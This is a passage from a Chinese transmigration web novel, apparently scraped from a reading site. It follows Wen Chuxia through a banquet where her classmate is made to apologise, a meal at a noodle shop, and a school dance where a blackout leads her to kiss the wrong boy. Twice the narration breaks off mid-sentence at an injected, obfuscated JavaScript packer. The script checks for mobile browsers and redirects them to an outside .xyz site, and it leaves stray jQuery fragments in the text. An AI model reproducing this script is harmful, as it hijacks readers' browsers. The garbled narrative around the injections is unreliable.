温初夏放下手,露出一双干涸且疲惫的眼睛。 呼—— 她长舒一口气。 小客服跟自己这么长时间了,也不多长点心眼,还是那么好骗。 静坐一会儿后,温初夏撑着膝盖站起来,拿上手机,出了门。 既然这事儿有人能替我解决,那我还费什么心思发什么愁啊,先下楼吃碗麻辣烫再说吧,天都快黑了,我午饭还没吃呢。 但没想到刚走到楼下,温汝峰忽然给她打来电话。 “喂夏夏,你现在在哪儿?吃饭了吗?” 电话对面的声音让温初夏生起了一股莫名的预感。 虽然自己这位便宜老爹和她打电话一向都是这个画风,但不得不说,这次的他,语气尤其温和,似乎还带了股以柔克刚的强势。 温初夏心里烦得很,不想和他多说,加快了脚步,撒谎道:“在家,刚吃。” 温汝峰却说:“吃了也没事,刚好今晚是个宴会,不是饭局。夏夏你必须得来一趟,我已经让司机去你住的地方接你了,一会儿到了和爸爸打个电话,我来入口接你,好吗?” 温初夏:“我……” 拒绝的话刚要说出口,一辆深蓝色的玛莎拉蒂Quattroparte就停在了对面的马路边,奢华的颜色,流畅的车型,跟周遭破败的环境十分格格不入。 而看到从副驾驶下来的人,温初夏立刻明白自己是必须去参加那个所谓的宴会不可了。 好烦啊啊啊,不想去去去,我想静静静。 温初夏仰头跺了跺脚,然后垂下头,认命地喊人:“方叔。到底是什么宴会这么重要,还需要你亲自逮捕我?” 方管家和蔼地笑了笑,打开后座车门,示意她上车。 “小姐你去了就知道了,反正是董事长为你特意组的局。”他神秘道。 ? 温初夏钻进车里,手扒着副驾驶的座椅靠背,好奇追问:“我又不过生日,又没干什么大事,爸爸他为什么要给我组局啊?” “不是以你为名义组的,却是为了你组的。”方管家跟说绕口令似的,“待会儿小姐你就知道了。” 温初夏一脸狐疑地坐了回去,不再继续问了。 她侧目看着车窗外的景色,高楼大厦的霓虹在夜色中闪烁,如同泼翻了的水彩流淌到玻璃上,但,再漂亮奢靡的景色也挽救不了她今天糟糕的心情。 半小时后,温初夏终于亲眼见到了自己亲爹长什么样。 年轻时能去娱乐圈闯一闯的颜值在岁月打磨之下沉淀出具有张力的儒雅与从容。眉眼十分深邃立体,又因眼尾几丝浅淡的细纹而柔化了棱角,像一杯年份恰好的威士忌。 在方管家的催促下,温初夏瘪着嘴,老大不情愿地慢吞吞挪到温汝峰面前,还没开口喊爹,就措不及防地被纳进怀里,感受到宽厚温热的手掌在后背安抚性地轻拍。 “我的宝贝女儿离家快两年了,一个人生活,肯定吃了不少苦吧?” 温汝峰柔声问:“有没有被人欺负?” 尽管温初夏对自己这个便宜老爹没啥感情,甚至连好感都没有,但对于正处在极端焦虑状态的人来说,任何一句稍带关心的问候,都能直截了当戳进心窝。 于是眼眶不可抑制地涌起一片湿热,温初夏觉得脖子有些僵,干脆服了软,如同一只精疲力竭的小兽,将下巴靠在父亲坚实的肩膀上,闻到了他身上散发出古龙香水的味道。 泛红的眼尾睫毛轻颤,两滴珍珠一样饱满的泪水迅速掉落,没入藏蓝色西装。 她吸吸鼻子,抬眼看天,嗡声道:“没,谁敢欺负我啊。” 温汝峰拉开女儿,抬手轻柔地擦去她脸上的泪痕,又拍拍她的肩膀,温润从容的声音低而不哑,厚而不浊,一字一句都带着安抚人心的魔力。 他说:“不怕,有爸爸在呢。我会让欺负你的人给你当面道歉,付出代价。” 温初夏本来释放压力释放的好好的,听到后半句直接化身黑人问号脸:欸??? 除了狗逼系统之外还有谁欺负我?我咋不知道呢。 宴会厅内,天花板垂落着不规则的金属吊灯,二楼挑台传来小提琴与低音提琴的合奏,宾客们三两成群,杯盏轻碰,茶香和酒香在26℃的空气中交融流动。 平常最爱参加这种场合的苏筱筱,此时却独自一人站在无人问津的小角落,背对着人群,拿着小镜子艰难地重新贴双眼皮贴。 白天她把眼睛哭成了乒乓球,根本没法见人,本来是很不想参加这个破宴会的。 但苏父却非要她来,说什么盛世集团的温总会和他的长女一起出席,对方和她年龄相仿,让苏筱筱务必多和对方接触多交流,最好是能成为好朋友,这对将来苏氏的发展大有裨益。 可苏筱筱在这儿候了快两个小时,双眼皮贴都崩了仨回,还是没看见温汝峰的女儿出现。 “果然姓温的都不是什么好东西……” 苏筱筱嘀咕着骂了一句,左手食指用力摁了摁眼眶骨水肿的皮肤,觉得有些精疲力尽。 她把小镜子放进包里,又掏出手机,看到周雅宜发来的微信。 周雅宜:【我听体委说,你找他要了运动会的报名表,给温初夏报了女子1500???】 周雅宜:【是温初夏自愿的吗?还是你私自填的】 苏筱筱现在对“温初夏”这三个字已经有PTSD了,一听就炸,尽管对面是她最好的朋友,言语间也并没有明显的责怪之意,但苏筱筱还是控制不住想发火。 她把包夹在腋下,低头把屏幕敲得噼里啪啦响。 【是我私自填的,那又怎样】 【她害我害得这么惨,我没把所有项目全给她报一遍已经很心慈手软了】 刚发过去,手机就嗡嗡震动好几下—— 周雅宜:【可你明明知道她不能跑,我们大家都知道,每次体育课老师让跑步之前都会先让温初夏出列,她应该是心脏不太好】 周雅宜:【你报复她可以,但不能用这种方式啊,万一出意外了怎么办?你来负责吗?】 苏筱筱气得有些站不稳,咬牙打字:【好啊,我来负责,到时候我提前叫辆救护车在旁边候着,无论要抢救还是要做手术费用都……】 “筱筱!” 话没打完,苏腾飞突然冲过来一把抓住她的手腕,急切道:“你怎么在这里躲着,快!和我一起过去,人家温总和他的千金已经到了。” 无奈,苏筱筱只能把输入框里的东西全部删掉,手机放进包里,被她爸拉着挤进众星拱月的人群,深呼吸几口气,把坏心情先藏起来,努力调动面部肌肉,正要露出一个友好的微笑。 而然,当她看清楚站在温汝峰身边和自己年龄相当,身上还穿着清荟高中部制服的少女时,整个人像是被一根利刃贯穿,钉在原地,任凭苏腾飞怎么拉也拉不动。 怎么会是她??? 苏筱筱惊呆了,眉弓高高绷起,瞳孔骤然收缩,白天就爬在眼底的细密红血丝此刻变得更红更粗,艳丽的嘴唇止不住地打着颤。 温汝峰的女儿、怎么会是、温初夏?! 我究竟是疯了还是没睡醒?这是在做梦吗?我在梦里?!! “欸!你这孩子干嘛呢?快和爸爸一起过去打招呼啊。” 苏腾飞有些生气,但他并没有询问女儿为何失态,而是强硬地拉着她的手腕继续往前,穿过人群,来到温家父女面前。 “温总。”苏腾飞满脸堆笑地伸出手,和温汝峰握了握,恭维道:“这几天没见,今晚温总你真是容光焕发啊,肯定是因为有令爱陪着的缘故吧?” 然后目光移向旁边的温初夏,脸上流露出的惊讶明显有被刻意放大的嫌疑,苏腾飞吃惊地又看了温汝峰两眼,这才道: “哎呦!温总您的千金也在我们清荟读书?这这、这简直太荣幸了,一大一小两个都在我们学校……话说温总您也瞒得太严实了吧,身为校董我居然都不知道。” “没想刻意瞒着。”温汝峰神色不变,只是眼底的温度开始有些冷,大手轻轻搂着温初夏的肩膀,说: “只是我这女儿喜欢追求独立,不仅从来不在人前提起她是温家人,甚至连我每个月给她发的生活费也是一分不花,全靠你们学校政策好,每学期都给她发奖学金,才让这脾气犟的小鬼不至于吃不起饭。” 他语气乐呵呵的,苏腾飞却听的后脑一阵发凉。 姓温,年级第一,靠奖学金生活…… 这不就是女儿口中,和她极其不对付的狐狸精女同学吗? 接着又回想起上周,苏筱筱当着温汝峰和一众跟温家关系匪浅的企业家董事长的面,说尽了温初夏的坏话,把她贬低成一个脾气古怪物质拜金的小太妹。 苏腾飞只觉得脑子像是被抽了真空,提前准备好的溢美之词全都不翼而飞,转动卡壳的脑袋,看向同样抽了真空的女儿。 “筱筱。”苏腾飞干瞪着俩眼珠子,“你和温总的千金,认、认识?” “啊,是认识……”苏筱筱勉强回过神,原本干涸的眼底沁出一层惊恐的水光,“我、我们一个班的。” 见二人这副反应,温汝峰笑了笑,把温初夏的肩膀更加揽紧了些,说:“这两年我把大部分精力都放在了工作上,对夏夏的关心确实不够。” 他话锋一转:“但这并不代表,我会放任别人欺负到她头上来,对她肆意抹黑想踩就踩。同为人父,同样都有女儿,想必苏总应该很能理解我的心情吧?” 苏腾飞有些不知所措地干笑两声,附和道:“是,当然能理解能理解——不过小孩子家家,会因为一些小事闹出矛盾来也很正常……” 听到这话,苏筱筱顿觉有一股暖流涌进她僵硬的四肢百骸,心中燃起希翼:太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502016|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,相比于生意和前途,爸爸果然还是更在意我的感受。 但苏腾飞接着却又亲手把这团火扑灭,他谄媚道:“只要说开了就好了。刚好两个孩子都在场,快,筱筱,给温家小姐道个歉。” “爸?!”苏筱筱不可置信地看着她爹。 苏腾飞肉痛地朝她挤挤眉,意思是:就低个头认个错而已,别磨叽。 苏筱筱不敢相信平时溺爱自己的父亲居然会这么对她,胸腔如同汹涌的海面剧烈起伏,她牙关紧咬,一双血红的眼睛盛满了屈辱的泪水,仓皇掉落后,顺着脸颊滑入颈间。 她微微侧身,面对一脸淡漠的温初夏,垂下眸,声若蚊呐:“对不起……” “什么?”温初夏歪了歪头,语气又轻又嘲:“声音大点儿,没听见。” 指甲把掌心戳出血痕,苏筱筱闭上眼,又有泪水滚了下来,“对不起。” “再大点儿——” “哎呀对不起对不起对不起!” 徐黎要气死了,把一箱刚从冰柜里拿出来冒着“仙气”肥牛卷扔到地上,冲正在下楼梯的徐珂大喊:“重要的事情说三遍,你满意了吧!” 徐珂本来没怎么生气的,但徐黎毫无悔过之心的态度直接把她的怒气值撺掇得一蹦三尺高,她快步走下台阶,冲着那颗黑中挑红个性十足的脑袋瓜就是一个爆栗。 “哎呦!”徐黎痛得差点儿飙泪,捂着头转身就是一个飞踢,“都说了别打头,我以后长不高怎么办!” 徐珂灵活躲过,然后站在堆满各类干货的案台前,拿起剪刀开始熟练地拆起包装,嘴里凉凉道:“本来你就长不高了,去年162,今年还是162,无论是个子还是本事都一个没长进……” “徐大妮我警告你不要乱讲哈,本人现在已经163了,妈妈昨天才给我量过的!”徐黎一脸正色地纠正,“而且我哪儿没本事了?上次你那件崩了三颗扣子的衣服是谁给你缝的?” 徐珂手上的速度飞快,话却说的漫不经心:“你本来在学校就是学这个的,如果连个扣子都缝不好,那我请问我和妈妈养你有什么用?还不如养条比格,至少可爱。” 徐黎把一箱冷冻肥牛卷搬到案台边,以迅雷不及掩耳的速度贴到她姐耳边“werwerwer”了好几下,wer完就脚底抹油地跑走。 “哎!现在店里忙的要死,你又去偷懒是吧?” “我是去尿尿——” 徐珂无语地摇了摇头,两三下把该拆的货全都拆完,分门别类放进透明塑料筐里,叠叠乐一样垒起来,到吧台旁的货架补货。 刚补完,正在大煮锅旁忙着烫菜忙的脚不沾地的徐女士喊她:“大妮,你那边搞完没有,搞完了就来帮我把这几碗端过去,客人在催了,我走不开。” “好。”徐珂洗干净手,一手端起一碗香气扑鼻的麻辣烫,去人满为患的前厅上菜。 “你好,这是你的,请慢用。” 温初夏闻声放下手机,正想伸手去抓筷子,却忽然反应过来这声音好像有点耳熟,于是抬起头,发现竟然是徐黎的姐姐。 “是你啊!” 刚把另外一碗放在隔壁桌上的徐珂扭回头,目光对上的一瞬间,她的脸色立刻变得十分复杂,似乎是想骂人但碍于周围全是食客所以不好开口。 “你等着。”说完,徐珂转身钻进后厨。 温初夏懵:?咋地,要给我下毒啊? 于是她赶紧抓起筷子就开吃。 饿了快一天,温初夏发誓要用生命守护这碗色香味俱全还加麻加辣的麻辣烫,要是徐黎她姐一会儿真的要在碗里下毒,温初夏也只会选择一边中毒一边吃。 但她想多了,徐珂并没有想报复她的意思,半分钟后,一个银质煤油打火机“当”一声放在反射着轻微油光的餐桌中央。 “还你。” 温初夏腮帮子一顿,筷子放下咬了一半的鱼饼,道:“不用还,我那天都说了,这个是用来赔你那件衣服的。” 徐珂拉开她对面的凳子坐下,没好气地说:“用三十来万的打火机来赔三颗塑料扣子,你当我傻啊?我可不想哪天被警察找上门。” 原来她是担心这个。 温初夏放下筷子,语气正经中带着点无奈:“真是送给你的,你要是还不相信,我可以立字据啊,写清楚这是我主动赠予给你的。” 徐珂没说话,只是眼神逐渐变得复杂,温初夏猜不到她在想什么,不动声色地把碗挪得离自己近了些。 良久,徐珂才又问:“你平常都这样吗?” “哪样?”温初夏又开始秃噜面条。 “一言不合就拿钱砸人。” “那倒不。”温初夏把脸埋在碗边笑笑,边嚼边道:“我平时其实很节俭的,只不过最近下定决心想要戒烟,所以就随手送你了。” 这个理由让徐珂既意外又满意,她点点头,说:“好,那我先帮你保管着,等你以后高三毕业了,再来找我拿,我几乎每天都在店里。” 温初夏不置可否,吃了几口,又问:“这店你家开的?” “对,我妈开的。” “味道很好啊,怪不得你们家客人这么多。”她扫了眼周围座无虚席的场面,突发兴致,问:“欸,你有没有考虑做外卖啊?” “这还要考虑。”徐珂抬了抬下巴,示意温初夏去看她身后摆满两层架子的外卖订单,“几年前就已经在做了。” “我说的不是这个外卖。”温初夏才发现自己的话有歧义,补充解释:“是可以送出国的那种,真空包装然后空运。” 徐珂觉得眼前这个小富婆简直是异想天开,笑着问:“空运?运给谁啊?” “运给我呗。”温初夏一脸认真,“大概再过半年,我就要出国留学了,白人饭难吃的要死,我得提前给我的胃做好打算。” 但徐珂不可能单单为了她一个人而开辟这个业务,和她又聊了几句之后,就起身继续干活了。 “你说是不是因为我钱砸的不够多啊?”看着徐珂忙碌的身影,温初夏在交流频道里问:“要不我一会儿把她们店的付款码拍下来,给她转二十万?” 但脑海里没有响起粉团子的声音,温初夏这才反应过来,小客服正在总部和其余人一起帮她想办法呢。 想说话却没人倾听,温初夏觉得有些无趣,又有些孤独,吃完饭后回到出租屋,这种孤独感被进一步放大,让她几乎无法忍受,所以很快她就洗漱睡觉了。 …… 深夜,水汽弥漫的浴室。 白皙骨感的手掌贴在模糊的镜面上,缓缓推开,指腹碾过凝结的水珠,发出细碎的“滋滋”声,随即映照出一双浓墨重彩的冷峻眉眼。 鸦羽的睫毛,黑曜石的瞳孔,眼皮纤薄如蝉翼,微微凹陷的眼窝嵌入立体深刻的眉骨。 如此漂亮的一双眼睛,眼底的温度,却足以把镜面上水雾冻成了冰晶。 水滴顺着湿透的发丝滴落,嘴唇绷直未动,一道低语却凭空出现在空旷的浴室,透过雾气幽幽回响,仿佛恶魔的低吟。 “她是你的,把她抢回来。” 26. 第 26 章 周五,晚六点。 “唰——” 更衣室的布帘拉开。 李书雪坐在化妆镜前,手里拿着两对不同颜色的钻石耳钉,询问刚换好礼服出来的人: “雅宜,你看我是戴粉色的好呢,还是透明的好呢?” “粉的,比较衬你。”周雅宜坐在软凳上,让发型师给她做造型,有点八卦地问:“对了小雪,你找的舞伴是谁啊?” 李书雪侧着头戴耳钉,神色坦然,没有一点害羞的意思:“不是清荟的,说实话咱学校没主的男生我一个也不喜欢,所以就花钱去夜店点了一个,188还有八块腹肌哦~” 她嘚瑟地眨眨眼。 周雅宜被逗笑,接着又想到了什么,嘴角的弧度迅速落回。 李书雪没注意到她的表情,左耳戴完戴右耳,顺着话题往下聊:“那你的舞伴是谁啊?时准?” 周雅宜和时准是从小一起长大的青梅竹马,郎才女貌,家境相当,这点不说全校,至少整个高二年级是都知道的。 “对。” 明明得偿所愿了,周雅宜却落寞地垂下眸,语气有些沉闷:“是我主动找他的,他答应了。但是是昨天晚上凌晨一两点才答应的。” “那咋了。”天生缺根恋爱神经的李书雪并不觉得有什么,“反正答应了就行呗——再说时准不找你当舞伴还能找谁,你们两家关系这么好。” 闻言,身边的人抿了抿唇,像是想反驳,但又迟疑有些话到底该不该说出口。 也不知道是不是她的错觉,这学期,时准好像离自己越来越远了,周雅宜甚至想不起来上一次和时准单独说话是什么时候。 戴好耳钉,李书雪起身到全身镜前转圈圈。 看着满身名牌和高奢的自己,她露出满意的微笑,随即想起了另一个人,心情顿时更加愉悦。 “雅宜,苏筱筱她今晚真的不来呀?” 李书雪故作不经意地提起,“她不是一向最喜欢参加这种活动吗,我记得高一的时候她就参加过当时高三的毕业舞会,还连发三条朋友圈炫耀来着。” “她不来。”周雅宜闭上眼,任凭发型师给她的头发喷清水,后续好做造型,嘴里淡淡道:“毕竟昨天发生了那档子事,应该是怕尴尬吧。” “稀奇。”李书雪啧啧称奇,“我还以为以她那不屈不挠的性格,今晚肯定要盛装出席势必做到万众瞩目,好把丢了的场子找回来呢。” 提到苏筱筱,周雅宜重新睁开眼,说了一件让她觉得很奇怪的事。 “什么?!” 李书雪哒哒几步走到她身后,看着梳妆镜里的周雅宜,表情很不可思议:“苏筱筱居然听了你的话,把给温初夏报的长跑比赛取消了???” “是啊。”提起这事,周雅宜也还是觉得魔幻,猜测:“小雪,你说筱筱是不是昨天受的刺激太大,所以精神上……”她伸出一根手指,点了点太阳穴。 “不会的。”李书雪坚定地摇头,“她可不是那种忍一时风平浪静,退一步海阔天空的人。” 她分析道:“能让苏筱筱放弃报复温初夏,只有两种可能,要么是她有什么致命的把柄落在了温初夏手里,要么,是她想到了更损的招。” 周雅宜:!!! …… 半小时后。 被临时改造成舞会举办地的室内体育馆角落。 温初夏身穿一件西太后简约小白裙,脚踩低跟凉鞋,头发还是一如既往的黑长直,也没化妆,只有粉嫩小巧的唇瓣透出一点晶莹的光泽,是涂的润唇膏。 她左看看,右看看,嘴角微抽地问: “意思是,你俩要一直这样盯着我,直到舞会结束?” “没错。”李书雪郑重地点点头。 周雅宜也勉为其难地“嗯”了一声,不过因为她心里有些别扭,所以说话语气并不怎么好听:“有人主动保护你,你还不乐意啊?” 昨晚粉团子走后直到现在也联系不上,也不知道他们想出办法来没有,本来温初夏心情挺郁闷的,总是担心界面要崩溃了怎么办,没想到一进场就被这俩小姑娘找上门,还一本正经地说要保护她。 温初夏没忍住笑:“你俩这小胳膊小腿儿的,怎么保护我啊?” “嘿——”周雅宜抱着胳膊,瞪眼瞅她,“你连五十米都跑不了呢,还好意思说我们,好心当成驴肝肺,哼!” “我哪儿……”跑不了五十了,我只是不能快跑。 这时,温初夏忽然看见对面装饰场地的工作人员爬上折叠梯,将一串不知道是真的还是塑料的植物挂在壁灯之下,目光立刻变得直愣愣,回怼的话也断在嘴边。 “怎么了?” 另外两人连忙顺着她的视线看过去,然后纷纷面露疑惑,没明白温初夏在惊讶什么。 见她还愣着,周雅宜把手举到她脸前晃了晃,问:“你傻啦?我看你这表情还以为宋云泽来了呢。” 听到这个不太待见的名字,李书雪眉心一折,隐蔽地翻了个白眼,用口型说了句晦气。 温初夏按下周雅宜挡视线的手,目光依然死死黏在对面的壁灯上,嘴里问:“你们看他挂在灯下面的植物,是不是槲寄生?我没认错吧?” “槲寄……什么玩意儿?”李书雪忙再定睛去看,但因为看不懂所以表情一脸茫然,“这名字好奇怪啊,我从来没听过有植物叫这个名字。” 但周雅宜看过哈利波特所以知道,在一旁友情科普:“槲寄生是一种寄生植物,欧美国家在过圣诞节的时候有个习俗,在槲寄生下面相遇的男女无论是不是情侣,都必须亲吻对方。” “哦。”李书雪点点头,刚想感叹又涨姿势了,旋即反应过来,手一抬,近距离指着温初夏问:“你该不会是想……” “打住打住。” 温初夏按着周雅宜的左手还没撒开,右手又赶紧去制裁李书雪,心说这倒霉孩子是什么时候和周雅宜学坏的,怎么都一言不合就拿手指人呢,没礼貌。 此时,入口处走进来一位高个儿男生,招摇过市的白金发色,修身剪裁的黑色西装合身挺拔,显的一双腿好像有两米那么长,直接把脚下的木地板走成了T台。 他一入场,整个体育馆的灯光仿佛都变得更加明亮,周围无论女生还是男生都忍不住偷偷看着他,小声惊叹。 见关键人物来了,温初夏立马松开没头脑和不高兴,冲正用目光四处搜寻的男生挥了挥手,喊他的名字:“宋云泽——” 我那恋爱脑的富婆闺蜜啊…… 李书雪不忍直视地低头,左手扶额。 “唉你干嘛去啊!”见温初夏快步离开,周雅宜试图阻拦:“不都说了开场之前必须和我们呆在一起吗。” 但对方听了连头都没回,只是敷衍地做了个“拜拜”的手势,然后继续义无反顾地向入口走去。 “别看了。”李书雪抬起头,拍拍周雅宜的肩膀,沉痛道:“她没救了。” 周雅宜则十分后悔,一跺脚:“我哪儿知道我是预言家啊,早知道刚才就不说那句话了。” …… 等室外的天色完全黯淡下去,皎洁的明月高悬于夜空,舞会才正式开始,头顶的灯光变换,乐团开始奏乐,舒缓的音符伴随着青涩的舞步流淌。 “哎。” 白色鞋尖不小心踩到了黑皮鞋边缘,温初夏搭在宋云泽肩膀上的手下意识收紧了,然后就听见眼前的人低笑道: “之前还骂我四肢不灵活,你自己不也会出错脚吗。” 温初夏轻轻“哼”了一声,心道:我是因为在思考待会儿要怎么避开其他人,把你带到槲寄生下面重做任务,所以才走神的好不好。 经过刚才的反复思考,温初夏几乎可以确认,这应该就是总部给她安排的补救机会。 不然现在都入夏了,为什么要在场馆里挂圣诞节的装饰品?还偏偏是槲寄生。 她越这么想,心情越激荡不已,仿佛已经听到“任务完成,界面已恢复正常”的系统提示音在脑海里响起了。 不过,穿越到这个畸形的界面,翻车过这么多次,守护者温初夏好像始终没有把“不要半路开香槟”这句话吸烟刻肺。 只听一声极其微弱的轻响,霎时间,头顶灯光熄灭,整个体育馆都黑了下去。 温初夏心中一惊,后退的舞步尚且来不及收回,就被不知道从哪儿冒出来一只脚踩住裙摆,双手松开,跌坐到地上。 同样一起摔倒的,还有不小心踩她裙子的人,两人的后背靠在一起,后脑勺相撞。 “哎呦。” 伸手不见五指的空气中响起一声吃痛的低叫,原来是周雅宜。 她不知道身后是温初夏,还好声好气地小声道歉说:“抱歉啊,我刚是不是踩到你了?” 与此同时,人群开始嚷起来—— “怎么了这是?” “为什么会突然停电啊?” “诶诶诶,你谁啊?别挤我!” …… 也有人比较镇定,大喊:“大家别乱走动,黑灯瞎火的,不要发生踩踏事故了。” 短暂懵过两秒后,温初夏立刻反应过来:黑灯瞎火,俊男靓女,现在不就是做任务的绝好时机吗! 总部你总算是靠点儿谱了啊,这配合打得太棒了! 于是她立刻撑着从地上站起,一把抓住面前人的胳膊—— “啪”的一下。 黑暗中亮起一朵小小的粉紫色电火花。 这场面莫名有些熟悉,但此刻温初夏完全没有心思去回忆,她紧紧拉着对方,步伐又快又碎地绕过一位位隐约只能瞧见身体轮廓的同学,一鼓作气将人拉到槲寄生下。 “咚咚咚咚……” 漆黑的空气中,心脏开始狂跳。 温初夏从来没有这么紧张过,甚至比昨天那次还要紧张一万倍。 感受到胸腔在不受控制地剧烈起伏,连她自己都觉得有点好笑。 不就是接个吻吗,之前穿越过那么多界面,我亲过的人一个足球场都塞不下,怕什么怕? 于是颤抖的指尖顺着柔韧微涩的西装衣袖一路往下,直到触碰到一双略微冰凉的手,便立刻将它握住。 感受到对方只愣了一瞬,就迅速收紧了回握的力道,温初夏脑海里那些调侃和自嘲通通化为一缕青烟,飘然而逝,只觉得自己的呼吸好像都被这一双手给握住了。 这里靠近入口,月光通过半掩的大门溜了进来,毫不见外地躺在两人旁边的空地上,纯洁又狡黠,清冷又暧昧。 明明是隐晦的提醒,却被女孩当做了上帝的见证。 不远处的人群依旧嘈杂,或男或女或惊或平的声音传到这里,全都化作被水浸泡又揉皱的白纸,把这一块小小的空间密不透风地包裹起来。 两道急促的喘息交织到一起,湿热的气息在月光下蒸腾。 温初夏费劲地抽出自己的右手,再举起,搭在少年滚烫的脖颈之后,微微用力,让他把头低下。 对方很听话地照做了,像匹温驯的骏马,只是被摸了摸脖子,就虔诚地对主人俯首帖耳。 一切都是那么水到渠成。 好乖啊…… 温初夏忍不住扬起一个笑,滚烫的掌心渐湿,柔软的指腹轻抚过颈间剧烈跳动的脉搏,示意对方往下,再往下,直到滚烫的潮气扑到鼻尖—— 她踮起脚,仰头凑了上去。 他的嘴唇偏薄,触碰到的时候,温初夏甚至能感受里面的牙齿在微弱地打着颤。 小男孩,第一次接吻这么紧张吗? 她发出一声闷笑,于是对方抖得更厉害了。 本着青春期的初吻应该浅尝辄止的原则,腾空的脚后跟没两秒就落回地面。 但分开的那一毫秒,温初夏感觉自己的上唇被飞快地舔了一下。 很短,很轻。 很像被狗狗湿漉漉的鼻尖碰了一下。 所以她身体稍微晃了一下,差点儿没站稳,然后觉得自己这样有点丢面,好像是因为紧张所以才没站稳似的。 于是乎很要面子的温初夏合情合理地起了坏心思,圈在男孩后颈的手挑逗地滑到前面,顺着少年桃子核一般硬挺突出的喉结往上,满是薄汗的掌心碰住了他同样滚烫的侧脸,拍了拍。 力道不轻但也不重,啪啪两轻声在这一方与外界隔离开的小天地里十分清晰。 她笑着,压低的嗓音仿佛喝醉了酒:“知道我是谁吧?” 感受到对方艰涩地点了下头,温初夏才终于找回作为掌握主动权的一方的自信。 那就好,别不知道是我亲的。 结束后,她抽出左手,这一次就要轻松许多,踩着月光潇洒离场,就算中途右脚不小心崴了一下,也丝毫没有影响到她飘飘然若升仙的美好心情。 “啪”,体育馆内灯光重新亮起。 宋云泽立刻转着圈地四处寻找,发现温初夏早已不知所踪,正疑惑这人到底跑哪儿去了,忽然耳边传来一声惊恐的尖叫—— “啊!” 一回头,周雅宜双耳通红地后退好几步,跟一脸茫然的李确拉开距离,手指着他:“怎么是你啊?!你什么时候站在我旁边的?” 李确茫然地眨眨眼睛,解释:“我一直都站在这里,没动过啊。” 剩下半句他忍着没说:不仅主动靠近,还往一个劲儿我怀里挤的人,是你吧。 看到李确白西装的肩膀处有一小片是肉色的,疑似蹭到了自己脸上的粉底液,周雅宜真是有点怀疑人生,又问:“那时准呢?我……”我刚才明明是想往他怀里蹭啊! 十五分钟后,出租屋。 一进屋,温初夏就撒丫子甩掉凉鞋,连拖鞋都不穿,直奔卧室,往弹簧床上纵身一扑,开始挺尸。 这两天压力太大,她昨晚都没怎么睡着,现在界面终于拯救回来了,她也终于可以安安心心地补个…… “宿——主——” 粉团子从天而降,砸在背上。 “哎呀,叫魂啊??!” 好觉被打断,温初夏有点生气,扭头教训:“我刚好不容易做完任务,累得要死,你别打扰我休息啊,有什么事儿明天再说。” 不曾想粉团子听后却更着急了,整个团急成一个红彤彤的火球,喊道:“不能等明天了!” “宿主你知不知道,你!亲错人了啊!” ? ?? ??!!!! 温初夏一个鲤鱼打挺,抓住她问:“你说什么?!” “你刚才亲错人了,停电之后被你拉走的人,是时准!” 下一秒,房间响起铺天盖地的警报声。 “警告!警告!经检测宿主的行为严重偏离《等风说雨停》原文主线,界面融合度下降百分之二十,距离界面崩溃仅剩三天时间。” “……” 大概是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502017|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个消息给震懵了,警报声结束后很长一段时间,温初夏都保持着盘腿坐的姿势不动,表情呆滞地,一言不发。 久到粉团子怀疑她是不是吓昏了头,温初夏忽然翻身下床来到书桌前,坐下,打开台灯,从成排的资料书中各科都抽出一本,甚至还包括了高一的政史地,叠出高高的一摞,从最上面那一本开始埋头苦学。 目睹她这一举动的粉团子只觉得天要塌了。 完了!这人真的吓傻了!!! . 周一。 运动会。 清荟身为富得流油的贵族高中,不仅地广楼多,运动会所举办的比赛项目也十分丰富,不仅有跑步跳远篮球这些常规项目,还有台球游泳射箭击剑等等相对小众的运动。 因为项目太多,报名参加的人也多,所以从第一天上午起就是好几项比赛同时进行。 开幕式结束后,原本紧凑的观众席逐渐松散开来,有比赛的去比赛,没比赛的就留下来观看或是自由活动,开阔的场馆时不时响起几阵加油或喝彩。 “让我看看,你到底在哪儿呢……” 女孩举着相机,因为怕摔倒,她步态很小心地从观众席侧面的台阶走下,昂贵的单反镜头扫过砖红色跑道,扫过篮球场,最终落在击剑场上。 正站在金属剑道上比赛的两个人身材相当,都又高又瘦,穿着同样的白色防护服,外套一件金属衣,头上戴着面罩,让人辨认不出他俩究竟谁是谁。 实力也很相当,比分咬的相当紧,你来我往比划了大半天也没比划出个结果来。 女孩举着相机驻足看了很久,直到胳膊都举酸了,终于迎来了赛点,只见左边那位趁其不备忽然一个猛突,佩剑银光一闪,剑尖就直直击中了右侧选手的心脏。 随即哨声响起,比赛结束。 右侧选手摘掉面罩,露出一头蓬松吸睛的金发,脸色阴沉地和赢得比赛的对手握了握手,肩膀互相撞了一下,看似友谊第一比赛第二,实则气氛明显有些暗流涌动。 女孩皱了皱眉,一只手举着相机,另一只调整焦距,将镜头拉进,对着左边的选手咔咔就是一阵狂拍。 可遗憾的是,对方直到下场都没有把面罩摘下,所以没能成功拍到他的面容。 女孩小声嘀咕:“时准,你怎么都不露脸呢?” 她把相机挂在脖子上,揉了揉酸涩的关节,然后又重新举起,打算接下来的时间随便拍拍。 镜头漫无目的地乱晃一圈后,来到了射箭场。 面容白净清秀的少年站在射箭起射线上,脊背挺直如青松,双脚与肩同宽稳稳钉在地面,左手持弓,右手三指捏着羽箭的尾部。 弓弦在拉力下渐渐弯成满月,小臂肌肉绷成流畅的弧线,青色血管轻轻跳动。 